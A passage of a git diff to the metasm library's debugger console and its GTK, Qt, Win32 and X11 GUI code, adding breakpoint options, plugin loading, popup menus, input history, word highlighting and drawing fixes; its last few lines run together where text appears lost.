[rwx])?(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i + e, o, t, c, a = $1, $2, $3, ($4 || $6), $5 + o = o ? true : false + t = (t || 'x').strip.to_sym cd = parse_expr(c) if c cb = lambda { a.split(';').each { |aaa| run_command(aaa) } } if a - @dbg.hwbp(solve_expr(e), :x, 1, false, cd, &cb) + @dbg.hwbp(solve_expr(e), t, 1, o, cd, &cb) } new_command('bpm', 'set a hardware memory breakpoint: bpm r 0x4800ff 16') { |arg| arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i @@ -846,7 +905,7 @@ class DbgConsoleWidget < DrawableWidget exp = solve_expr!(e) len = solve_expr(e) if e != '' len ||= 1 - @dbg.hwbp(exp, mode, len, false, cd, &cb) + @dbg.bpm(exp, mode, len, false, cd, &cb) } new_command('g', 'wait until target reaches the specified address') { |arg| arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i @@ -1038,7 +1097,7 @@ class DbgConsoleWidget < DrawableWidget add_log "#{t} #{stf[:state]} #{stf[:info]}" } } - + new_command('pid', 'select a pid') { |arg| if pid = solve_expr(arg) @dbg.pid = pid @@ -1072,7 +1131,7 @@ class DbgConsoleWidget < DrawableWidget @dbg.ignore_newthread = false @dbg.ignore_endthread = false } - new_command('thread_event_ignore', 'ignore thread creation/termination') { + new_command('thread_events_ignore', 'ignore thread creation/termination') { @dbg.ignore_newthread = true @dbg.ignore_endthread = true } @@ -1101,6 +1160,12 @@ class DbgConsoleWidget < DrawableWidget @dbg.create_process(arg) } + new_command('plugin', 'load', 'load a debugger plugin') { |arg| + @dbg.load_plugin arg + add_log "loaded plugin #{File.basename(arg, '.rb')}" + } + + @dbg.ui_command_setup(self) if @dbg.respond_to? :ui_command_setup end @@ -1122,12 +1187,13 @@ class DbgConsoleWidget < DrawableWidget end def run_command(cmd) + cmd = cmd.sub(/^\s+/, '') cn = cmd.split.first if not @commands[cn] a = @commands.keys.find_all { |k| k[0, cn.length] == cn } cn = a.first if a.length == 1 end - if pc = @commands[cn] + if pc = @commands[cn] pc[cmd.split(/\s+/, 2)[1].to_s] else add_log 'unknown command' diff --git a/lib/metasm/metasm/gui/gtk.rb b/lib/metasm/metasm/gui/gtk.rb index a2473eb41e..05c20ab1ef 100644 --- a/lib/metasm/metasm/gui/gtk.rb +++ b/lib/metasm/metasm/gui/gtk.rb @@ -145,7 +145,7 @@ end class DrawableWidget < Gtk::DrawingArea include Msgbox - attr_accessor :parent_widget, :caret_x, :caret_y, :hl_word + attr_accessor :parent_widget, :caret_x, :caret_y, :hl_word, :hl_word_re # this hash is used to determine the colors of the Gui elements (background, caret, ...) # modifications to it are only useful before the widget is first rendered (IE before Gui.main) attr_accessor :default_color_association @@ -153,7 +153,7 @@ class DrawableWidget < Gtk::DrawingArea # keypress event keyval traduction table Keyboard_trad = Gdk::Keyval.constants.grep(/^GDK_/).inject({}) { |h, cst| v = Gdk::Keyval.const_get(cst) - key = cst.to_s.sub(/^GDK_/, '').sub(/^KP_/, '') + key = cst.to_s.sub(/^GDK_/, '').sub(/^KEY_/, '').sub(/^KP_/, '') if key.length == 1 key = key[0] # ?a, ?b etc else @@ -161,7 +161,7 @@ class DrawableWidget < Gtk::DrawingArea key = { :page_up => :pgup, :page_down => :pgdown, :next => :pgdown, :escape => :esc, :return => :enter, :l1 => :f11, :l2 => :f12, - :prior => :pgup, + :prior => :pgup, :menu => :popupmenu, :space => ?\ , :asciitilde => ?~, :quoteleft => ?`, @@ -189,6 +189,15 @@ class DrawableWidget < Gtk::DrawingArea h.update v => key } + BasicColor = { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', + :red => 'f44', :darkred => '800', :palered => 'faa', + :green => '4f4', :darkgreen => '080', :palegreen => 'afa', + :blue => '44f', :darkblue => '008', :paleblue => 'aaf', + :yellow => 'ff4', :darkyellow => '440', :paleyellow => 'ffa', + :orange => 'fc8', + + } + def initialize(*a, &b) @parent_widget = nil @@ -226,7 +235,6 @@ class DrawableWidget < Gtk::DrawingArea grab_focus case ev.button when 1; protect { click(ev.x, ev.y) } if respond_to? :click - when 3; protect { rightclick(ev.x, ev.y) } if respond_to? :rightclick end when Gdk::Event::Type::BUTTON2_PRESS case ev.button @@ -245,8 +253,11 @@ class DrawableWidget < Gtk::DrawingArea } if respond_to? :mousemove signal_connect('button_release_event') { |w, ev| - protect { mouserelease(ev.x, ev.y) } if ev.button == 1 - } if respond_to? :mouserelease + case ev.button + when 1; protect { mouserelease(ev.x, ev.y) } if respond_to? :mouserelease + when 3; protect { rightclick(ev.x, ev.y) } if respond_to? :rightclick + end + } signal_connect('scroll_event') { |w, ev| dir = case ev.direction @@ -273,12 +284,7 @@ class DrawableWidget < Gtk::DrawingArea } signal_connect('realize') { - { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', - :red => 'f00', :darkred => '800', :palered => 'fcc', - :green => '0f0', :darkgreen => '080', :palegreen => 'cfc', - :blue => '00f', :darkblue => '008', :paleblue => 'ccf', - :yellow => 'ff0', :darkyellow => '440', :paleyellow => 'ffc', - }.each { |tag, val| + BasicColor.each { |tag, val| @color[tag] = color(val) } @@ -302,7 +308,11 @@ class DrawableWidget < Gtk::DrawingArea # create a color from a 'rgb' description def color(val) if not @color[val] - @color[val] = Gdk::Color.new(*val.unpack('CCC').map { |c| (c.chr*4).hex }) + v = case val.length + when 3; val.scan(/./).map { |c| (c*4).to_i(16) } + when 6; val.scan(/../).map { |c| (c+c).to_i(16) } + end + @color[val] = Gdk::Color.new(*v) window.colormap.alloc_color(@color[val], true, true) end @color[val] @@ -325,20 +335,48 @@ class DrawableWidget < Gtk::DrawingArea # change the color association # arg is a hash function symbol => color symbol - # color must be allocated # check #initialize/sig('realize') for initial function/color list + # if called before the widget is first displayed onscreen, will register a hook to re-call itself later def set_color_association(hash) - hash.each { |k, v| @color[k] = color(v) } - modify_bg Gtk::STATE_NORMAL, @color[:background] - gui_update + if not realized? + sid = signal_connect('realize') { + signal_handler_disconnect(sid) + set_color_association(hash) + } + else + hord = Hash.new { |h, k| h[k] = (hash[k] ? h[hash[k]] + 1 : 0) } + hash.sort_by { |k, v| hord[k] }.each { |k, v| @color[k] = color(v) } + modify_bg Gtk::STATE_NORMAL, @color[:background] + gui_update + end + end + + def new_menu + toplevel.new_menu + end + def addsubmenu(*a, &b) + toplevel.addsubmenu(*a, &b) + end + def popupmenu(m, x, y) + toplevel.popupmenu(m, (x+allocation.x).to_i, (y+allocation.y).to_i) end # update @hl_word from a line & offset, return nil if unchanged - def update_hl_word(line, offset) + def update_hl_word(line, offset, mode=:asm) return if not line word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/] word = nil if word == '' - @hl_word = word if @hl_word != word + if @hl_word != word + if word + if mode == :asm and defined?(@dasm) and @dasm + re = @dasm.gui_hilight_word_regexp(word) + else + re = Regexp.escape word + end + @hl_word_re = /^(.*?)(\b(?:#{re})\b)/ + end + @hl_word = word + end end def paint @@ -385,6 +423,20 @@ class DrawableWidget < Gtk::DrawingArea end def draw_rectangle(x, y, w, h) + # GTK clips coords around 0x8000 + return if x > 0x7000 or y > 0x7000 + if x < -0x7000 + w += x + 100 + x = -100 + end + if y < -0x7000 + h += y + 100 + y = -100 + end + return if w <= 0 or h <= 0 + w = 0x7000 if w > 0x7000 + h = 0x7000 if h > 0x7000 + @w.draw_rectangle(@gc, true, x, y, w, h) end @@ -394,6 +446,29 @@ class DrawableWidget < Gtk::DrawingArea end def draw_line(x, y, ex, ey) + if x.abs > 0x7000 + return if ex.abs > 0x7000 and ((ex < 0) == (x < 0)) + ox = x + x = ((x > 0) ? 0x7000 : -0x7000) + y = ey+(x-ex)*(y-ey)/(ox-ex) + end + if ex.abs > 0x7000 + oex = ex + ex = ((ex > 0) ? 0x7000 : -0x7000) + ey = y+(ex-x)*(ey-y)/(oex-x) + end + if y.abs > 0x7000 + return if ey.abs > 0x7000 and ((ey < 0) == (y < 0)) + oy = y + y = ((y > 0) ? 0x7000 : -0x7000) + x = ex+(y-ey)*(x-ex)/(oy-ey) + end + if ey.abs > 0x7000 + oey = ey + ey = ((ey > 0) ? 0x7000 : -0x7000) + ex = x+(ey-y)*(ex-x)/(oey-y) + end + @w.draw_line(@gc, x, y, ex, ey) end @@ -403,6 +478,7 @@ class DrawableWidget < Gtk::DrawingArea end def draw_string(x, y, str) + return if x.abs > 0x7000 or y.abs > 0x7000 @layout.text = str @w.draw_layout(@gc, x, y, @layout) end @@ -412,6 +488,23 @@ class DrawableWidget < Gtk::DrawingArea draw_string(x, y, str) end + # same as draw_string_color + hilight @hl_word_re + def draw_string_hl(col, x, y, str) + if @hl_word + while str =~ @hl_word_re + s1, s2 = $1, $2 + draw_string_color(col, x, y, s1) + x += s1.length*@font_width + hl_w = s2.length*@font_width + draw_rectangle_color(:hl_word_bg, x, y, hl_w, @font_height) + draw_string_color(:hl_word, x, y, s2) + x += hl_w + str = str[s1.length+s2.length..-1] + end + end + draw_string_color(col, x, y, str) + end + def clipboard_copy(buf) clipboard = Gtk::Clipboard.get(Gdk::Selection::PRIMARY) clipboard.text = buf @@ -477,15 +570,35 @@ class InputBox < Gtk::Dialog @textwidget = Gtk::TextView.new if opts[:text] @textwidget.buffer.text = opts[:text].to_s - @textwidget.buffer.move_mark('selection_bound', @textwidget.buffer.start_iter) - @textwidget.buffer.move_mark('insert', @textwidget.buffer.end_iter) + text_select_all end + @@history ||= {} + histkey = opts[:history] || str[0, 10] + @history = (@@history[histkey] ||= []) + @history_off = @history.length + @textwidget.signal_connect('key_press_event') { |w, ev| key = DrawableWidget::Keyboard_trad[ev.keyval] case key - when :escape; response(RESPONSE_REJECT) ; true - when :enter; response(RESPONSE_ACCEPT) ; true + when :escape + response(RESPONSE_REJECT) + true + when :enter + @history << @textwidget.buffer.text.to_s + @history.pop if @history.last == '' + @history.pop if @history.last == @history[-2] + response(RESPONSE_ACCEPT) + true + when :up, :down + txt = @textwidget.buffer.text.to_s + if (@history_off < @history.length or @history.last != txt) + @history[@history_off] = txt + end + @history_off += (key == :up ? -1 : 1) + @history_off %= @history.length + @textwidget.buffer.text = @history[@history_off].to_s + text_select_all end } @@ -502,9 +615,9 @@ class InputBox < Gtk::Dialog Gtk::Drag.dest_set(self, Gtk::Drag::DEST_DEFAULT_MOTION | Gtk::Drag::DEST_DEFAULT_DROP, - [['text/plain', 0, 0], ['text/uri-list', 0, 0]], + [['text/plain', 0, 0], ['text/uri-list', 0, 0]], Gdk::DragContext::ACTION_COPY | Gdk::DragContext::ACTION_MOVE) - + signal_connect('drag_data_received') { |w, dc, x, y, data, info, time| dc.targets.each { |target| next if target.name != 'text/plain' and target.name != 'text/uri-list' @@ -521,6 +634,11 @@ class InputBox < Gtk::Dialog present end + def text_select_all + @textwidget.buffer.move_mark('selection_bound', @textwidget.buffer.start_iter) + @textwidget.buffer.move_mark('insert', @textwidget.buffer.end_iter) + end + def text ; @textwidget.buffer.text ; end def text=(nt) ; @textwidget.buffer.text = nt ; end end @@ -604,7 +722,7 @@ class ListWindow < Gtk::Dialog tvc = Gtk::TreeViewColumn.new(col, crt) tvc.sort_column_id = i tvc.set_cell_data_func(crt) { |_tvc, _crt, model, iter| - _crt.text = iter[i] + _crt.text = iter[i] if @color_callback fu = (0...cols.length).map { |ii| iter[ii] } fg, bg = @color_callback[fu] @@ -635,7 +753,7 @@ class ListWindow < Gtk::Dialog remove vbox add Gtk::ScrolledWindow.new.add(treeview) - toplevel.set_default_size cols.length*120, 400 + toplevel.set_default_size cols.length*240, 400 show if not h[:noshow] @@ -666,6 +784,7 @@ class Window < Gtk::Window @menubar = Gtk::MenuBar.new @accel_group = Gtk::AccelGroup.new + set_gravity Gdk::Window::GRAVITY_STATIC @vbox.add @menubar, 'expand' => false @child = nil s = Gdk::Screen.default @@ -678,14 +797,13 @@ class Window < Gtk::Window initialize_window(*a, &b) build_menu update_menu - - + Gtk::Drag.dest_set(self, Gtk::Drag::DEST_DEFAULT_MOTION | Gtk::Drag::DEST_DEFAULT_DROP, - [['text/plain', 0, 0], ['text/uri-list', 0, 0]], + [['text/plain', 0, 0], ['text/uri-list', 0, 0]], Gdk::DragContext::ACTION_COPY | Gdk::DragContext::ACTION_MOVE) - + signal_connect('drag_data_received') { |w, dc, x, y, data, info, time| dc.targets.each { |target| next if target.name != 'text/plain' and target.name != 'text/uri-list' @@ -734,6 +852,13 @@ class Window < Gtk::Window l.grep(::Array).first if l end + def popupmenu(m, x, y) + mh = Gtk::Menu.new + m.each { |e| create_menu_item(mh, e) } + mh.show_all + mh.popup(nil, nil, 2, 0) { |_m, _x, _y, _p| [position[0]+x, position[1]+y, true] } + end + # append stuff to a menu # arglist: # empty = menu separator @@ -801,13 +926,10 @@ class Window < Gtk::Window key = accel[-1] if key == ?> key = accel[/<(.*)>/, 1] - key = case key - when 'enter'; Gdk::Keyval::GDK_Return - when 'esc'; Gdk::Keyval::GDK_Escape - when 'tab'; Gdk::Keyval::GDK_Tab - when /^f(\d\d?)$/i; Gdk::Keyval.const_get("GDK_#{key.upcase}") - else ?? - end + key = DrawableWidget::Keyboard_trad.index(case key + when 'enter', 'esc', 'tab', /^f(\d\d?)$/i; key.downcase.to_sym + else ?? + end) end key = key.unpack('C')[0] if key.kind_of? String # yay rb19 item.add_accelerator('activate', @accel_group, key, (accel[0] == ?^ ? Gdk::Window::CONTROL_MASK : 0), Gtk::ACCEL_VISIBLE) @@ -815,7 +937,7 @@ class Window < Gtk::Window if action a = action if check - a = lambda { item.active = action.call(item.active?) } + a = lambda { |it| it.active = action.call(it.active?) } end item.signal_connect('activate') { protect { a.call(item) } } end @@ -838,7 +960,7 @@ class ToolWindow < Gtk::Dialog initialize_window(*a, &b) show_all end - + def widget=(w) remove @child if @child @child = w diff --git a/lib/metasm/metasm/gui/qt.rb b/lib/metasm/metasm/gui/qt.rb index d0ba546268..d7a4767acf 100644 --- a/lib/metasm/metasm/gui/qt.rb +++ b/lib/metasm/metasm/gui/qt.rb @@ -323,11 +323,21 @@ Execute Printer Play Sleep Zoom Cancel end # update @hl_word from a line & offset, return nil if unchanged - def update_hl_word(line, offset) + def update_hl_word(line, offset, mode=:asm) return if not line word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/] word = nil if word == '' - @hl_word = word if @hl_word != word + if @hl_word != word + if word + if mode == :asm and defined?(@dasm) and @dasm + re = @dasm.gui_hilight_word_regexp(word) + else + re = Regexp.escape word + end + @hl_word_re = /^(.*?)(\b(?:#{re})\b)/ + end + @hl_word = word + end end # invalidate the whole widget area diff --git a/lib/metasm/metasm/gui/win32.rb b/lib/metasm/metasm/gui/win32.rb index a0e7b3dd5c..ca9fb656d6 100644 --- a/lib/metasm/metasm/gui/win32.rb +++ b/lib/metasm/metasm/gui/win32.rb @@ -685,7 +685,7 @@ TrackMouseEvent( #define QS_ALLEVENTS (QS_INPUT | QS_POSTMESSAGE | QS_TIMER | QS_PAINT | QS_HOTKEY) #define QS_ALLINPUT (QS_ALLEVENTS | QS_SENDMESSAGE) -#define WAIT_TIMEOUT 258L +#define WAIT_TIMEOUT 258L #define CF_TEXT 1 #define CF_BITMAP 2 @@ -960,6 +960,33 @@ GetTextExtentPoint32A( __in_ecount(c) LPCSTR lpString, __in int c, __out LPPOINT lpsz); + +typedef struct tagRECT { + LONG left; + LONG top; + LONG right; + LONG bottom; +} RECT, *LPRECT; + +#define TPM_LEFTBUTTON 0x0000L +#define TPM_RIGHTBUTTON 0x0002L +#define TPM_LEFTALIGN 0x0000L +#define TPM_CENTERALIGN 0x0004L +#define TPM_RIGHTALIGN 0x0008L +#define TPM_TOPALIGN 0x0000L +#define TPM_VCENTERALIGN 0x0010L +#define TPM_BOTTOMALIGN 0x0020L +#define TPM_HORIZONTAL 0x0000L +#define TPM_VERTICAL 0x0040L +#define TPM_NONOTIFY 0x0080L +#define TPM_RETURNCMD 0x0100L +#define TPM_RECURSE 0x0001L +#define TPM_HORPOSANIMATION 0x0400L +#define TPM_HORNEGANIMATION 0x0800L +#define TPM_VERPOSANIMATION 0x1000L +#define TPM_VERNEGANIMATION 0x2000L +#define TPM_NOANIMATION 0x4000L +#define TPM_LAYOUTRTL 0x8000L WINUSERAPI BOOL WINAPI @@ -980,6 +1007,17 @@ WINAPI DestroyMenu( __in HMENU hMenu); WINUSERAPI +BOOL +WINAPI +TrackPopupMenu( + __in HMENU hMenu, + __in UINT uFlags, + __in int x, + __in int y, + __in int nReserved, + __in HWND hWnd, + __in_opt CONST RECT *prcRect); +WINUSERAPI DWORD WINAPI CheckMenuItem( @@ -999,13 +1037,6 @@ AppendMenuA( #define OPAQUE 2 int WINAPI SetBkMode(__in HDC hdc, __in int mode); -typedef struct tagRECT { - LONG left; - LONG top; - LONG right; - LONG bottom; -} RECT, *LPRECT; - WINUSERAPI int WINAPI @@ -1086,6 +1117,18 @@ UpdateWindow( WINUSERAPI BOOL WINAPI +ClientToScreen( + __in HWND hWnd, + __inout LPPOINT pt); +WINUSERAPI +BOOL +WINAPI +ScreenToClient( + __in HWND hWnd, + __inout LPPOINT pt); +WINUSERAPI +BOOL +WINAPI GetClientRect( __in HWND hWnd, __out LPRECT lpRect); @@ -1390,11 +1433,11 @@ class WinWidget return if not @parent @parent.set_focus(self) if @parent.respond_to? :set_focus end - + def focus? return true if not @parent (@parent.respond_to?(:focus?) ? @parent.focus? : true) and - (@parent.respond_to?(:has_focus?) ? @parent.has_focus?(self) : true) + (@parent.respond_to?(:has_focus?) ? @parent.has_focus?(self) : true) end def redraw @@ -1484,6 +1527,7 @@ class ContainerChoiceWidget < WinWidget def set_focus(c) @curview = c + grab_focus redraw end end @@ -1519,7 +1563,7 @@ class ContainerVBoxWidget < WinWidget cy = 0 pv = [] @views.each_with_index { |v, i| - if y >= cy and y < cy + v.height + if y >= cy+1 and y < cy + v.height - 1 if @focus_idx != i @focus_idx = i redraw @@ -1528,8 +1572,7 @@ class ContainerVBoxWidget < WinWidget return end cy += v.height - if y >= cy and y < cy+@spacing - vsz = v + if y >= cy-1 and y < cy+@spacing+1 @resizing = v @wantheight[@resizing] ||= v.height @tmpwantheight = [] @@ -1665,12 +1708,13 @@ class ContainerVBoxWidget < WinWidget def set_focus(c) @focus_idx = @views.index(c) + grab_focus redraw end end module TextWidget - attr_accessor :caret_x, :caret_y, :hl_word, :font_width, :font_height + attr_accessor :caret_x, :caret_y, :hl_word, :hl_word_re, :font_width, :font_height def initialize_text @caret_x = @caret_y = 0 # text cursor position @@ -1679,11 +1723,21 @@ module TextWidget @hl_word = nil end - def update_hl_word(line, offset) + def update_hl_word(line, offset, mode=:asm) return if not line word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/] word = nil if word == '' - @hl_word = word if @hl_word != word + if @hl_word != word + if word + if mode == :asm and defined?(@dasm) and @dasm + re = @dasm.gui_hilight_word_regexp(word) + else + re = Regexp.escape(word) + end + @hl_word_re = /^(.*?)(\b(?:#{re})\b)/ + end + @hl_word = word + end end def set_caret_from_click(x, y) @@ -1737,7 +1791,15 @@ end class DrawableWidget < WinWidget include TextWidget - attr_accessor :buttons + BasicColor = { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', + :red => 'f44', :darkred => '800', :palered => 'faa', + :green => '4f4', :darkgreen => '080', :palegreen => 'afa', + :blue => '44f', :darkblue => '008', :paleblue => 'aaf', + :yellow => 'ff4', :darkyellow => '440', :paleyellow => 'ffa', + :orange => 'fc8', + } + attr_accessor :buttons, :parent_widget + attr_accessor :default_color_association def initialize(*a, &b) @color = {} @@ -1754,12 +1816,7 @@ class DrawableWidget < WinWidget end def initialize_visible_ - { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', - :red => 'f00', :darkred => '800', :palered => 'fcc', - :green => '0f0', :darkgreen => '080', :palegreen => 'cfc', - :blue => '00f', :darkblue => '008', :paleblue => 'ccf', - :yellow => 'ff0', :darkyellow => '440', :paleyellow => 'ffc', - }.each { |tag, val| + BasicColor.each { |tag, val| @color[tag] = color(val) } @color[:winbg] = Win32Gui.getsyscolor(Win32Gui::COLOR_BTNFACE) @@ -1768,11 +1825,24 @@ class DrawableWidget < WinWidget initialize_visible if respond_to? :initialize_visible end - def set_color_association(h) - h.each { |k, v| @color[k] = color(v) } + def set_color_association(hash) + hord = Hash.new { |h, k| h[k] = (hash[k] ? h[hash[k]] + 1 : 0) } + hash.sort_by { |k, v| hord[k] }.each { |k, v| @color[k] = color(v) } gui_update end + def new_menu + toplevel.new_menu + end + + def addsubmenu(*a, &b) + toplevel.addsubmenu(*a, &b) + end + + def popupmenu(m, x, y) + toplevel.popupmenu(m, (x+@x).to_i, (y+@y).to_i) + end + def paint_(realhdc) @hdc = Win32Gui.createcompatibledc(realhdc) bmp = Win32Gui.createcompatiblebitmap(realhdc, @width, @height) @@ -1813,7 +1883,7 @@ class DrawableWidget < WinWidget end def color(col) - @color[col] ||= col.sub(/^(\w)(\w)(\w)$/, '\\3\\3\\2\\2\\1\\1').to_i(16) + @color[col] ||= col.sub(/^(\w\w)(\w\w)(\w\w)$/, '\\3\\2\\1').sub(/^(\w)(\w)(\w)$/, '\\3\\3\\2\\2\\1\\1').to_i(16) end def draw_color(col) @@ -1853,12 +1923,29 @@ class DrawableWidget < WinWidget draw_string(x, y, text) end + # same as draw_string_color + hilight @hl_word_re + def draw_string_hl(col, x, y, str) + if @hl_word + while str =~ @hl_word_re + s1, s2 = $1, $2 + draw_string_color(col, x, y, s1) + x += s1.length*@font_width + hl_w = s2.length*@font_width + draw_rectangle_color(:hl_word_bg, x, y, hl_w, @font_height) + draw_string_color(:hl_word, x, y, s2) + x += hl_w + str = str[s1.length+s2.length..-1] + end + end + draw_string_color(col, x, y, str) + end + def keyboard_state(query=nil) case query when :control, :ctrl Win32Gui.getkeystate(Win32Gui::VK_CONTROL) & 0x8000 > 0 when :shift - Win32Gui.getkeystate(Win32Gui::VK_SHIFT) & 0x8000 > 0 + Win32Gui.getkeystate(Win32Gui::VK_SHIFT) & 0x8000 > 0 when :alt Win32Gui.getkeystate(Win32Gui::VK_MENU) & 0x8000 > 0 else @@ -1952,10 +2039,10 @@ class Window :style => Win32Gui::CS_DBLCLKS, :hcursor => Win32Gui.loadcursora(0, Win32Gui::IDC_ARROW), :lpszclassname => cname, - :lpfnwndproc => Win32Gui.callback_alloc_c('__stdcall int wndproc(int, int, int, int)') { |hwnd, msg, wp, lp| windowproc(hwnd, msg, wp, lp) } + :lpfnwndproc => Win32Gui.callback_alloc_c('__stdcall int wndproc(int, int, int, int)') { |hwnd, msg, wp, lp| windowproc(hwnd, msg, wp, lp) } Win32Gui.registerclassexa(cls) - + @hwnd = Win32Gui.createwindowexa(win32styleex, cname, 'win32gui window', win32style, Win32Gui::CW_USEDEFAULT, Win32Gui::SW_HIDE, Win32Gui::CW_USEDEFAULT, 0, 0, 0, 0, 0) initialize_window(*a, &b) @@ -1997,7 +2084,8 @@ class Window h.update v => { :prior => :pgup, :next => :pgdown, :escape => :esc, :return => :enter, - :back => :backspace, + :back => :backspace, :apps => :popupmenu, + :add => ?+, :subtract => ?-, :multiply => ?*, :divide => ?/, }.fetch(key, key) } @@ -2053,7 +2141,9 @@ class Window when Win32Gui::WM_KEYDOWN, Win32Gui::WM_SYSKEYDOWN # SYSKEYDOWN for f10 (default = activate the menu bar) if key = Keyboard_trad[wparam] - if keyboard_state(:control) + if [?+, ?-, ?/, ?*].include?(key) + # keypad keys generate wm_keydown + wm_char, ignore this one + elsif keyboard_state(:control) @widget.keypress_ctrl_(key) if @widget else @widget.keypress_(key) if @widget @@ -2064,15 +2154,15 @@ class Window if keyboard_state(:control) and not keyboard_state(:alt) # altgr+[ returns CTRL on.. if ?a.kind_of?(String) wparam += (keyboard_state(:shift) ? ?A.ord : ?a.ord) - 1 if wparam < 0x1a - k = wparam.chr + key = wparam.chr else wparam += (keyboard_state(:shift) ? ?A : ?a) - 1 if wparam < 0x1a - k = wparam + key = wparam end - @widget.keypress_ctrl_(k) if @widget + @widget.keypress_ctrl_(key) if @widget else - k = (?a.kind_of?(String) ? wparam.chr : wparam) - @widget.keypress_(k) if @widget + key = (?a.kind_of?(String) ? wparam.chr : wparam) + @widget.keypress_(key) if @widget end when Win32Gui::WM_DESTROY destroy_window @@ -2214,12 +2304,39 @@ class Window # make the window's MenuBar reflect the content of @menu def update_menu + unuse_menu(@menu) Win32Gui.destroymenu(@menuhwnd) if @menuhwnd != 0 @menuhwnd = Win32Gui.createmenu() @menu.each { |e| create_menu_item(@menuhwnd, e) } Win32Gui.setmenu(@hwnd, @menuhwnd) end + def popupmenu(m, x, y) + hm = Win32Gui.createpopupmenu() + m.each { |e| create_menu_item(hm, e) } + pt = Win32Gui.alloc_c_struct('POINT', :x => x, :y => y) + Win32Gui.clienttoscreen(@hwnd, pt) + id = Win32Gui.trackpopupmenu(hm, Win32Gui::TPM_NONOTIFY | Win32Gui::TPM_RETURNCMD, pt.x, pt.y, 0, @hwnd, 0) + if p = @control_action[id] + # TrackPopup returns before WM_COMMAND is delivered, so if we + # want to cleanup @control_action we must call it now & clenup + p.call + end + unuse_menu(m) + Win32Gui.destroymenu(hm) + end + + def unuse_menu(m) + m.flatten.grep(Proc).reverse_each { |c| + if @control_action[@controlid-1] == c + @controlid -= 1 # recycle IDs + @control_action.delete @controlid + elsif i = @control_action.index(c) + @control_action.delete i + end + } + end + def create_menu_item(menu, entry) args = entry.dup @@ -2270,6 +2387,7 @@ class Window checked = action.call(!checked) Win32Gui.checkmenuitem(menu, id, (checked ? Win32Gui::MF_CHECKED : Win32Gui::MF_UNCHECKED)) } + entry << @control_action[id] # allow deletion in unuse_menu end @controlid += 1 end @@ -2329,7 +2447,7 @@ class OpenFile buf = [0].pack('C')*512 ofn = Win32Gui.alloc_c_struct 'OPENFILENAMEA', :lstructsize => :size, - #:hwndowner => win.hwnd, # 0 for nonmodal + #:hwndowner => win.hwnd, # 0 for nonmodal :lpstrfilter => "All Files\0*.*\0\0", :lpstrfile => buf, :lpstrtitle => title, @@ -2369,6 +2487,10 @@ class IBoxWidget < DrawableWidget @oldsel_x = @caret_x_select = 0 @caret_x = @curline.length @caret_x_start = 0 + @@history ||= {} + histkey = opts[:history] || label[0, 10] + @history = (@@history[histkey] ||= []) + @history_off = @history.length add_button('Ok', :btnc1, :btnc2) { keypress(:enter) } add_button('Cancel', :btnc1, :btnc2) { keypress(:esc) } @@ -2480,7 +2602,7 @@ class IBoxWidget < DrawableWidget @caret_x_select = nil end @caret_x -= 1 if @caret_x > 0 - update_caret + update_caret when :right if keyboard_state(:shift) @caret_x_select ||= @caret_x @@ -2488,7 +2610,7 @@ class IBoxWidget < DrawableWidget @caret_x_select = nil end @caret_x += 1 if @caret_x < @curline.length - update_caret + update_caret when :home if keyboard_state(:shift) @caret_x_select ||= @caret_x @@ -2505,7 +2627,19 @@ class IBoxWidget < DrawableWidget end @caret_x = @curline.length update_caret + when :up, :down + if @history_off < @history.length or @curline.strip != @history.last + @history[@history_off] = @curline.strip + end + @history_off += (key == :up ? -1 : 1) + @history_off %= @history.length + @curline = @history[@history_off].to_s + @caret_x = @curline.length if @caret_x > @curline.length + redraw when :enter + @history << @curline.strip + @history.pop if @history.last == '' + @history.pop if @history.last == @history[-2] destroy Gui.main_iter protect { @action.call(@curline.strip) } @@ -2588,7 +2722,7 @@ class IBoxWidget < DrawableWidget elsif mouserelease_buttons(x, y) end end - + def update_caret return if @oldcaret_x == @caret_x and @oldsel_x == @caret_x_select redraw @@ -2699,13 +2833,17 @@ class LBoxWidget < DrawableWidget def paint @btnx = [] @btny = 0 - @btnheight = @font_height * 4/3 + if @btnheight != @font_height * 4/3 + # fix vscrollbar height on w7 + @btnheight = @font_height * 4/3 + resized(width, height) + end x = 0 @colw.each { |w| @btnx << x x += w } - + x -= @sbh y = @btnheight @linehead = @sbv / @font_height @@ -2817,7 +2955,6 @@ class LBoxWidget < DrawableWidget vscroll((@linehead-off)*@font_height) redraw when :down - n = @lineshown-1 off = [@lineshown, [@lineshown/2, 5].max].min vscroll((@linehead+off)*@font_height) redraw @@ -2895,7 +3032,7 @@ class LBoxWidget < DrawableWidget if @list_ints[col] nlist = @list.sort_by { |a| [a[col].to_i, a] } else - nlist = @list.sort_by { |a| [a[col], a] } + nlist = @list.sort_by { |a| [a[col], a] } end nlist.reverse! if nlist == @list @list = nlist @@ -2907,7 +3044,7 @@ class LBoxWidget < DrawableWidget redraw end end - + def destroy @parent.destroy end @@ -2943,7 +3080,7 @@ end Win32Gui.getscrollinfo(@hwnd, Win32Gui::SB_VERT, sif) case wparam & 0xffff when Win32Gui::SB_THUMBPOSITION; val = sif.ntrackpos - when Win32Gui::SB_THUMBTRACK; val = sif.ntrackpos; nopos = true + when Win32Gui::SB_THUMBTRACK; val = sif.ntrackpos #; nopos = true when Win32Gui::SB_LINEDOWN; val = sif.npos + 1 when Win32Gui::SB_LINEUP; val = sif.npos - 1 when Win32Gui::SB_PAGEDOWN; val = sif.npos + sif.npage diff --git a/lib/metasm/metasm/gui/x11.rb b/lib/metasm/metasm/gui/x11.rb index 9f5cce772f..e4e411a546 100644 --- a/lib/metasm/metasm/gui/x11.rb +++ b/lib/metasm/metasm/gui/x11.rb @@ -9,31 +9,31 @@ module Metasm module Gui class XGui < DynLdr new_api_c < 1, :s => 1, :d => 1, :modrm => 0xc7, - :reg => 7, :eeec => 7, :eeed => 7, :seg2 => 3, :seg3 => 7, - :regfp => 7, :regmmx => 7, :regxmm => 7 - @fields_mask[:seg2A] = @fields_mask[:seg2] - @fields_mask[:seg3A] = @fields_mask[:seg3] - 